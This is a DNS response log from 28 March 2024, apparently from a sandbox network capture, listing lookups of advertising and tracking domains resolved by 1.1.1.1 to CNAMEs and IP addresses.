Mar 28, 2024 09:51:46.025600910 CET	1.1.1.1	192.168.2.4	0xbf8a	No error (0)	csync.loopme.me	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:46.025600910 CET	1.1.1.1	192.168.2.4	0xbf8a	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.196.202	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:46.025600910 CET	1.1.1.1	192.168.2.4	0xbf8a	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.249.171	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:46.025600910 CET	1.1.1.1	192.168.2.4	0xbf8a	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.229.219	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:46.025600910 CET	1.1.1.1	192.168.2.4	0xbf8a	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.244.54	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:46.025600910 CET	1.1.1.1	192.168.2.4	0xbf8a	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.238.211	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:46.025600910 CET	1.1.1.1	192.168.2.4	0xbf8a	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.183.97	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:46.036267042 CET	1.1.1.1	192.168.2.4	0x24a1	No error (0)	jadserve.postrelease.com	jadserve.postrelease.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:46.037647963 CET	1.1.1.1	192.168.2.4	0xed9e	No error (0)	jadserve.postrelease.com	jadserve.postrelease.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:46.325088978 CET	1.1.1.1	192.168.2.4	0x7f4a	No error (0)	wt.rqtrk.eu		51.222.241.145	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:46.325088978 CET	1.1.1.1	192.168.2.4	0x7f4a	No error (0)	wt.rqtrk.eu		51.222.241.106	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:46.325088978 CET	1.1.1.1	192.168.2.4	0x7f4a	No error (0)	wt.rqtrk.eu		51.222.241.100	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:46.385204077 CET	1.1.1.1	192.168.2.4	0x95b6	No error (0)	simage4.pubmatic.com	image4-v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:46.385204077 CET	1.1.1.1	192.168.2.4	0x95b6	No error (0)	image4-v2.pubmnet.com	spug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:46.385204077 CET	1.1.1.1	192.168.2.4	0x95b6	No error (0)	spug-vac.pubmnet.com		8.28.7.84	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:46.385257006 CET	1.1.1.1	192.168.2.4	0xc08b	No error (0)	simage4.pubmatic.com	image4-v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:46.385257006 CET	1.1.1.1	192.168.2.4	0xc08b	No error (0)	image4-v2.pubmnet.com	spug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:46.949681997 CET	1.1.1.1	192.168.2.4	0xc19e	No error (0)	ice.360yield.com	na-ice.360yield.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:46.949681997 CET	1.1.1.1	192.168.2.4	0xc19e	No error (0)	na-ice.360yield.com		23.21.22.65	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:46.949681997 CET	1.1.1.1	192.168.2.4	0xc19e	No error (0)	na-ice.360yield.com		3.225.57.221	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:46.949681997 CET	1.1.1.1	192.168.2.4	0xc19e	No error (0)	na-ice.360yield.com		54.88.169.98	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:46.949681997 CET	1.1.1.1	192.168.2.4	0xc19e	No error (0)	na-ice.360yield.com		44.217.129.143	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:46.949681997 CET	1.1.1.1	192.168.2.4	0xc19e	No error (0)	na-ice.360yield.com		34.237.85.162	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:46.949681997 CET	1.1.1.1	192.168.2.4	0xc19e	No error (0)	na-ice.360yield.com		54.87.99.80	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:46.949681997 CET	1.1.1.1	192.168.2.4	0xc19e	No error (0)	na-ice.360yield.com		107.22.37.57	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:46.949681997 CET	1.1.1.1	192.168.2.4	0xc19e	No error (0)	na-ice.360yield.com		44.219.134.196	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:46.950366974 CET	1.1.1.1	192.168.2.4	0xc97b	No error (0)	u.openx.net		34.98.64.218	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:46.950366974 CET	1.1.1.1	192.168.2.4	0xc97b	No error (0)	u.openx.net		35.244.159.8	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:46.950503111 CET	1.1.1.1	192.168.2.4	0x6de1	No error (0)	ice.360yield.com	na-ice.360yield.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:46.958643913 CET	1.1.1.1	192.168.2.4	0x2421	No error (0)	us.shb-sync.com		8.2.110.33	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:46.959218979 CET	1.1.1.1	192.168.2.4	0xdf26	No error (0)	s.ad.smaato.net		18.67.76.126	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:46.959218979 CET	1.1.1.1	192.168.2.4	0xdf26	No error (0)	s.ad.smaato.net		18.67.76.69	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:46.959218979 CET	1.1.1.1	192.168.2.4	0xdf26	No error (0)	s.ad.smaato.net		18.67.76.108	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:46.959218979 CET	1.1.1.1	192.168.2.4	0xdf26	No error (0)	s.ad.smaato.net		18.67.76.70	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.850914001 CET	1.1.1.1	192.168.2.4	0x7343	No error (0)	trz.neodatagroup.com		20.101.38.191	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.852772951 CET	1.1.1.1	192.168.2.4	0xcc94	No error (0)	dis.criteo.com	widget.va1.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:48.852847099 CET	1.1.1.1	192.168.2.4	0xae5c	No error (0)	dsum.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.852847099 CET	1.1.1.1	192.168.2.4	0xae5c	No error (0)	dsum.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.853462934 CET	1.1.1.1	192.168.2.4	0x8230	No error (0)	dis.criteo.com	widget.va1.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:48.853462934 CET	1.1.1.1	192.168.2.4	0x8230	No error (0)	widget.va1.vip.prod.criteo.com		74.119.119.150	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.853672981 CET	1.1.1.1	192.168.2.4	0x64ec	No error (0)	dsum-sec.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.853672981 CET	1.1.1.1	192.168.2.4	0x64ec	No error (0)	dsum-sec.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.854495049 CET	1.1.1.1	192.168.2.4	0x9fec	No error (0)	dsum.casalemedia.com			65	IN (0x0001)	false
Mar 28, 2024 09:51:48.854799986 CET	1.1.1.1	192.168.2.4	0x3cab	No error (0)	dsum-sec.casalemedia.com			65	IN (0x0001)	false
Mar 28, 2024 09:51:48.864053011 CET	1.1.1.1	192.168.2.4	0x4950	No error (0)	aax.amazon-adsystem.com	aax-dtb-cf.amazon-adsystem.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:48.864053011 CET	1.1.1.1	192.168.2.4	0x4950	No error (0)	aax-dtb-cf.amazon-adsystem.com	aax-dtb-cf.amazon-adsystem.amazon.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:48.864053011 CET	1.1.1.1	192.168.2.4	0x4950	No error (0)	aax-dtb-cf.amazon-adsystem.amazon.com	d1jvc9b8z3vcjs.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:48.864089966 CET	1.1.1.1	192.168.2.4	0x2a5d	No error (0)	aax.amazon-adsystem.com	aax-dtb-cf.amazon-adsystem.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:48.864089966 CET	1.1.1.1	192.168.2.4	0x2a5d	No error (0)	aax-dtb-cf.amazon-adsystem.com	aax-dtb-cf.amazon-adsystem.amazon.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:48.864089966 CET	1.1.1.1	192.168.2.4	0x2a5d	No error (0)	aax-dtb-cf.amazon-adsystem.amazon.com	d1jvc9b8z3vcjs.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:48.864089966 CET	1.1.1.1	192.168.2.4	0x2a5d	No error (0)	d1jvc9b8z3vcjs.cloudfront.net		18.244.134.43	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.876414061 CET	1.1.1.1	192.168.2.4	0x565e	No error (0)	ce.lijit.com	ce-ue1.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:48.876414061 CET	1.1.1.1	192.168.2.4	0x565e	No error (0)	ce-ue1.lijit.com	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:48.876414061 CET	1.1.1.1	192.168.2.4	0x565e	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		44.210.227.34	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.876414061 CET	1.1.1.1	192.168.2.4	0x565e	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		3.231.108.23	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.876414061 CET	1.1.1.1	192.168.2.4	0x565e	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		35.153.28.169	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.876414061 CET	1.1.1.1	192.168.2.4	0x565e	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		3.85.0.207	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.876414061 CET	1.1.1.1	192.168.2.4	0x565e	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		3.219.104.215	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.876414061 CET	1.1.1.1	192.168.2.4	0x565e	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		3.232.70.209	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.876414061 CET	1.1.1.1	192.168.2.4	0x565e	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		34.202.97.60	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.876414061 CET	1.1.1.1	192.168.2.4	0x565e	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		3.220.141.160	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.878886938 CET	1.1.1.1	192.168.2.4	0xb69d	No error (0)	ce.lijit.com	ce-ue1.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:48.878886938 CET	1.1.1.1	192.168.2.4	0xb69d	No error (0)	ce-ue1.lijit.com	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:48.879066944 CET	1.1.1.1	192.168.2.4	0x97d2	No error (0)	oajs.openx.net		34.120.107.143	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.879066944 CET	1.1.1.1	192.168.2.4	0x97d2	No error (0)	oajs.openx.net		34.120.135.53	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.880808115 CET	1.1.1.1	192.168.2.4	0x356f	No error (0)	pmp.mxptint.net		38.68.201.140	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.881479025 CET	1.1.1.1	192.168.2.4	0xc0bc	No error (0)	pixel.tapad.com		34.111.113.62	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.881947041 CET	1.1.1.1	192.168.2.4	0x741	No error (0)	widgets.wp.com		192.0.77.32	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.882220984 CET	1.1.1.1	192.168.2.4	0xc551	No error (0)	d.omg.neodatagroup.com		20.101.38.191	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.923760891 CET	1.1.1.1	192.168.2.4	0xf328	No error (0)	token.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:48.925291061 CET	1.1.1.1	192.168.2.4	0xffbd	No error (0)	token.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:49.019774914 CET	1.1.1.1	192.168.2.4	0x6086	No error (0)	cdn.indexww.com			65	IN (0x0001)	false
Mar 28, 2024 09:51:49.019951105 CET	1.1.1.1	192.168.2.4	0xc919	No error (0)	cdn.indexww.com		172.64.149.180	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.019951105 CET	1.1.1.1	192.168.2.4	0xc919	No error (0)	cdn.indexww.com		104.18.38.76	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.035032988 CET	1.1.1.1	192.168.2.4	0x658e	No error (0)	rtb.openx.net		35.186.253.211	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.035032988 CET	1.1.1.1	192.168.2.4	0x658e	No error (0)	rtb.openx.net		35.227.252.103	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.039690018 CET	1.1.1.1	192.168.2.4	0xcacf	No error (0)	r.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.039690018 CET	1.1.1.1	192.168.2.4	0xcacf	No error (0)	r.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.040807009 CET	1.1.1.1	192.168.2.4	0x3e7a	No error (0)	pippio.com		107.178.254.65	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.040925026 CET	1.1.1.1	192.168.2.4	0x7ef3	No error (0)	r.casalemedia.com			65	IN (0x0001)	false
Mar 28, 2024 09:51:49.055213928 CET	1.1.1.1	192.168.2.4	0xb072	No error (0)	hb.yahoo.net		23.40.62.8	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.055213928 CET	1.1.1.1	192.168.2.4	0xb072	No error (0)	hb.yahoo.net		23.40.62.27	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.055213928 CET	1.1.1.1	192.168.2.4	0xb072	No error (0)	hb.yahoo.net		23.40.62.57	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.071587086 CET	1.1.1.1	192.168.2.4	0x6c64	No error (0)	mcdp-chidc2.outbrain.com	chidc2.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:49.071587086 CET	1.1.1.1	192.168.2.4	0x6c64	No error (0)	chidc2.outbrain.org		64.74.236.159	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.071702957 CET	1.1.1.1	192.168.2.4	0x3193	No error (0)	mcdp-chidc2.outbrain.com	chidc2.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:49.453144073 CET	1.1.1.1	192.168.2.4	0xb43b	No error (0)	pandg.tapad.com		34.102.243.38	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.792190075 CET	1.1.1.1	192.168.2.4	0x17f8	No error (0)	im.tncid.app		34.102.181.119	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.859954119 CET	1.1.1.1	192.168.2.4	0xe0ae	No error (0)	ads.servenobid.com		23.20.210.0	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.859954119 CET	1.1.1.1	192.168.2.4	0xe0ae	No error (0)	ads.servenobid.com		34.193.117.25	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.859954119 CET	1.1.1.1	192.168.2.4	0xe0ae	No error (0)	ads.servenobid.com		3.231.126.214	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.859954119 CET	1.1.1.1	192.168.2.4	0xe0ae	No error (0)	ads.servenobid.com		3.220.35.196	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.859954119 CET	1.1.1.1	192.168.2.4	0xe0ae	No error (0)	ads.servenobid.com		54.227.90.9	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.859954119 CET	1.1.1.1	192.168.2.4	0xe0ae	No error (0)	ads.servenobid.com		52.200.134.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.859954119 CET	1.1.1.1	192.168.2.4	0xe0ae	No error (0)	ads.servenobid.com		44.196.32.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.859954119 CET	1.1.1.1	192.168.2.4	0xe0ae	No error (0)	ads.servenobid.com		54.90.40.40	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.968993902 CET	1.1.1.1	192.168.2.4	0x71df	No error (0)	id5-sync.com		162.19.138.117	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.968993902 CET	1.1.1.1	192.168.2.4	0x71df	No error (0)	id5-sync.com		162.19.138.116	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.968993902 CET	1.1.1.1	192.168.2.4	0x71df	No error (0)	id5-sync.com		162.19.138.83	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.968993902 CET	1.1.1.1	192.168.2.4	0x71df	No error (0)	id5-sync.com		162.19.138.82	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.968993902 CET	1.1.1.1	192.168.2.4	0x71df	No error (0)	id5-sync.com		141.95.33.120	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.968993902 CET	1.1.1.1	192.168.2.4	0x71df	No error (0)	id5-sync.com		162.19.138.118	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.968993902 CET	1.1.1.1	192.168.2.4	0x71df	No error (0)	id5-sync.com		162.19.138.120	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.968993902 CET	1.1.1.1	192.168.2.4	0x71df	No error (0)	id5-sync.com		141.95.98.65	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.968993902 CET	1.1.1.1	192.168.2.4	0x71df	No error (0)	id5-sync.com		141.95.98.64	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.968993902 CET	1.1.1.1	192.168.2.4	0x71df	No error (0)	id5-sync.com		162.19.138.119	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.973258972 CET	1.1.1.1	192.168.2.4	0xdbe3	No error (0)	match.deepintent.com	m.deepintent.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:49.973258972 CET	1.1.1.1	192.168.2.4	0xdbe3	No error (0)	m.deepintent.com		8.18.47.7	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.973258972 CET	1.1.1.1	192.168.2.4	0xdbe3	No error (0)	m.deepintent.com		38.91.45.7	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.973258972 CET	1.1.1.1	192.168.2.4	0xdbe3	No error (0)	m.deepintent.com		169.197.150.8	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.973258972 CET	1.1.1.1	192.168.2.4	0xdbe3	No error (0)	m.deepintent.com		169.197.150.7	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.977093935 CET	1.1.1.1	192.168.2.4	0xca9f	No error (0)	c1.adform.net	track.adformnet.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:49.978287935 CET	1.1.1.1	192.168.2.4	0xccef	No error (0)	c1.adform.net	track.adformnet.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:49.986782074 CET	1.1.1.1	192.168.2.4	0x1e33	No error (0)	tg.socdm.com	tg.dr.socdm.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:49.987458944 CET	1.1.1.1	192.168.2.4	0x2d91	No error (0)	tg.socdm.com	tg.dr.socdm.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:49.987458944 CET	1.1.1.1	192.168.2.4	0x2d91	No error (0)	tg.dr.socdm.com		124.146.153.161	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.987458944 CET	1.1.1.1	192.168.2.4	0x2d91	No error (0)	tg.dr.socdm.com		211.120.53.201	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.987458944 CET	1.1.1.1	192.168.2.4	0x2d91	No error (0)	tg.dr.socdm.com		124.146.153.162	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.987458944 CET	1.1.1.1	192.168.2.4	0x2d91	No error (0)	tg.dr.socdm.com		211.120.53.205	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.987458944 CET	1.1.1.1	192.168.2.4	0x2d91	No error (0)	tg.dr.socdm.com		124.146.153.166	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.987458944 CET	1.1.1.1	192.168.2.4	0x2d91	No error (0)	tg.dr.socdm.com		124.146.153.168	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.987458944 CET	1.1.1.1	192.168.2.4	0x2d91	No error (0)	tg.dr.socdm.com		124.146.153.169	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.987458944 CET	1.1.1.1	192.168.2.4	0x2d91	No error (0)	tg.dr.socdm.com		124.146.153.170	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.987458944 CET	1.1.1.1	192.168.2.4	0x2d91	No error (0)	tg.dr.socdm.com		124.146.153.167	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.987458944 CET	1.1.1.1	192.168.2.4	0x2d91	No error (0)	tg.dr.socdm.com		124.146.153.164	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.987458944 CET	1.1.1.1	192.168.2.4	0x2d91	No error (0)	tg.dr.socdm.com		124.146.153.165	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.987458944 CET	1.1.1.1	192.168.2.4	0x2d91	No error (0)	tg.dr.socdm.com		124.146.153.163	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.987458944 CET	1.1.1.1	192.168.2.4	0x2d91	No error (0)	tg.dr.socdm.com		211.120.53.202	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.987458944 CET	1.1.1.1	192.168.2.4	0x2d91	No error (0)	tg.dr.socdm.com		211.120.53.200	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.987458944 CET	1.1.1.1	192.168.2.4	0x2d91	No error (0)	tg.dr.socdm.com		211.120.53.203	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.987458944 CET	1.1.1.1	192.168.2.4	0x2d91	No error (0)	tg.dr.socdm.com		211.120.53.206	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.987458944 CET	1.1.1.1	192.168.2.4	0x2d91	No error (0)	tg.dr.socdm.com		124.146.153.160	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.987458944 CET	1.1.1.1	192.168.2.4	0x2d91	No error (0)	tg.dr.socdm.com		211.120.53.204	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:50.014264107 CET	1.1.1.1	192.168.2.4	0x1add	No error (0)	capi.connatix.com	capi.connatix.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:50.016450882 CET	1.1.1.1	192.168.2.4	0x82cc	No error (0)	capi.connatix.com	capi.connatix.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:50.017172098 CET	1.1.1.1	192.168.2.4	0x9564	No error (0)	cm-supply-web.gammaplatform.com		35.186.154.107	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:50.023353100 CET	1.1.1.1	192.168.2.4	0x57d9	No error (0)	casale-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:50.025650024 CET	1.1.1.1	192.168.2.4	0xe5c6	No error (0)	ssp.disqus.com	zeta-ssp-385516103.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:50.025650024 CET	1.1.1.1	192.168.2.4	0xe5c6	No error (0)	zeta-ssp-385516103.us-east-1.elb.amazonaws.com		52.6.5.199	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:50.025650024 CET	1.1.1.1	192.168.2.4	0xe5c6	No error (0)	zeta-ssp-385516103.us-east-1.elb.amazonaws.com		44.219.176.157	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:50.025650024 CET	1.1.1.1	192.168.2.4	0xe5c6	No error (0)	zeta-ssp-385516103.us-east-1.elb.amazonaws.com		34.193.213.124	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:50.025650024 CET	1.1.1.1	192.168.2.4	0xe5c6	No error (0)	zeta-ssp-385516103.us-east-1.elb.amazonaws.com		3.89.188.246	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:50.025650024 CET	1.1.1.1	192.168.2.4	0xe5c6	No error (0)	zeta-ssp-385516103.us-east-1.elb.amazonaws.com		34.229.31.114	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:50.025650024 CET	1.1.1.1	192.168.2.4	0xe5c6	No error (0)	zeta-ssp-385516103.us-east-1.elb.amazonaws.com		54.164.105.247	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:50.025650024 CET	1.1.1.1	192.168.2.4	0xe5c6	No error (0)	zeta-ssp-385516103.us-east-1.elb.amazonaws.com		52.203.85.199	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:50.025650024 CET	1.1.1.1	192.168.2.4	0xe5c6	No error (0)	zeta-ssp-385516103.us-east-1.elb.amazonaws.com		44.199.169.123	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:50.027025938 CET	1.1.1.1	192.168.2.4	0x886	No error (0)	ssp.disqus.com	zeta-ssp-385516103.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:50.027071953 CET	1.1.1.1	192.168.2.4	0x637f	No error (0)	casale-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:50.273811102 CET	1.1.1.1	192.168.2.4	0x96e	No error (0)	s0.2mdn.net		142.251.16.149	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:50.273811102 CET	1.1.1.1	192.168.2.4	0x96e	No error (0)	s0.2mdn.net		142.251.16.148	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:51.961550951 CET	1.1.1.1	192.168.2.4	0x7158	No error (0)	cm.adgrx.com	rtb.adgrx.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:51.961550951 CET	1.1.1.1	192.168.2.4	0x7158	No error (0)	rtb.adgrx.com	rtb.adgrx.com.tech.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:51.961675882 CET	1.1.1.1	192.168.2.4	0xb845	No error (0)	pm.w55c.net	cdn.w55c.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:51.961675882 CET	1.1.1.1	192.168.2.4	0xb845	No error (0)	cdn.w55c.net		54.156.21.247	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:51.961675882 CET	1.1.1.1	192.168.2.4	0xb845	No error (0)	cdn.w55c.net		54.166.48.10	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:51.961675882 CET	1.1.1.1	192.168.2.4	0xb845	No error (0)	cdn.w55c.net		54.167.117.6	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:51.961675882 CET	1.1.1.1	192.168.2.4	0xb845	No error (0)	cdn.w55c.net		54.175.248.252	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:51.961675882 CET	1.1.1.1	192.168.2.4	0xb845	No error (0)	cdn.w55c.net		52.6.168.171	A (IP address)	IN (0x0001)	false
